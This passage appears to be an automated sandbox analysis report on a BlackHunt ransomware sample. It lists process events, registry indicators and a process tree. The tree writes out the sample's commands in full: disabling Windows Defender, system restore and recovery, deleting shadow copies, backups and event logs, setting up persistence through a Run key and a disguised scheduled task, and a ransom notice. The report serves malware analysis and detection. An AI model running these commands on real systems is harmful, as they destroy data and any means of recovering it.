ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 104 PID 2320 wrote to memory of 4772 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 107 PID 2320 wrote to memory of 4772 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 107 PID 2320 wrote to memory of 2516 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 111 PID 2320 wrote to memory of 2516 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 111 PID 2320 wrote to memory of 2504 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 110 PID 2320 wrote to memory of 2504 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 110 PID 2320 wrote to memory of 4696 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 156 PID 2320 wrote to memory of 4696 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 156 PID 1908 wrote to memory of 2792 1908 cmd.exe 154 PID 1908 wrote to memory of 2792 1908 cmd.exe 154 PID 3848 wrote to memory of 4368 3848 cmd.exe 153 PID 3848 wrote to memory of 4368 3848 cmd.exe 153 PID 2320 wrote to memory of 1660 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 152 PID 2320 wrote to memory of 1660 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 152 PID 368 wrote to memory of 1880 368 cmd.exe 150 PID 368 wrote to memory of 1880 368 cmd.exe 150 PID 2320 wrote to memory of 1376 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 149 PID 2320 wrote to memory of 1376 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 149 PID 2320 wrote to memory of 3008 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 113 PID 2320 wrote to memory of 3008 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 113 PID 5096 wrote to memory of 1988 5096 cmd.exe 115 PID 5096 wrote to memory of 1988 5096 cmd.exe 115 PID 2320 wrote to memory of 680 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 117 PID 2320 wrote to memory of 680 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 117 PID 2320 wrote to memory of 2644 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 131 PID 2320 wrote to memory of 2644 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 131 PID 4540 wrote to memory of 4768 4540 cmd.exe 120 PID 4540 wrote to memory of 4768 4540 cmd.exe 120 PID 4720 wrote to memory of 4048 4720 reg.exe 140 PID 4720 wrote to memory of 4048 4720 reg.exe 140 PID 2248 wrote to memory of 3716 2248 cmd.exe 122 PID 2248 wrote to memory of 3716 2248 cmd.exe 122 PID 2320 wrote to memory of 4900 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 129 PID 2320 wrote to memory of 4900 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 129 PID 2468 wrote to memory of 544 2468 cmd.exe 127 PID 2468 wrote to memory of 544 2468 cmd.exe 127 PID 4772 wrote to memory of 512 4772 cmd.exe 126 PID 4772 wrote to memory of 512 4772 cmd.exe 126 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe"C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2320 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2792
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:368 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4540 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:544
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2504
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:4536
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2516
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3008
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:680
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2248
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4408
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4476
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:4900
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:4720
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2644
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4780
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3428
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3516
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:6176
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1044
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:6880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:4048
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2024
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4748
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:7364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:3128
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:4912
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1376
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1660
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4696
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1372
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:4⤵
- Deletes NTFS Change Journal
PID:8796
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe" /F2⤵PID:548
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe" /F3⤵
- Creates scheduled task(s)
PID:6960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:4720
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:4792
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:9028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2300
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:8836
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4876
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:8804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4256
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1372
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3004
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3980
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:448
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2044
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1032
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2940
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2248
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3848
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:11052
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3004
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:7024
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:9536
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:11164
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:7300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2520
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:7672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:9872
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:9692
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:10300
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:6204
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:10036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5608
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:7112
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:9444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:8032
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:6264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:8116
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:8364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4384
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:9488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:9552
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5720
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:6388
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:6804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:7768
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:6364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3808
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:10192
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:6948
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:6488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:5296
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:7040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:10412
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:460
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe"2⤵PID:10276
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:6124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:7424 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:3684
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3684 -s 14524⤵
- Program crash
PID:7884
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:6672
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:6688
-
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f1⤵PID:4048
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f1⤵
- Modifies Windows Defender Real-time Protection settings
PID:3716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f1⤵PID:3260
-
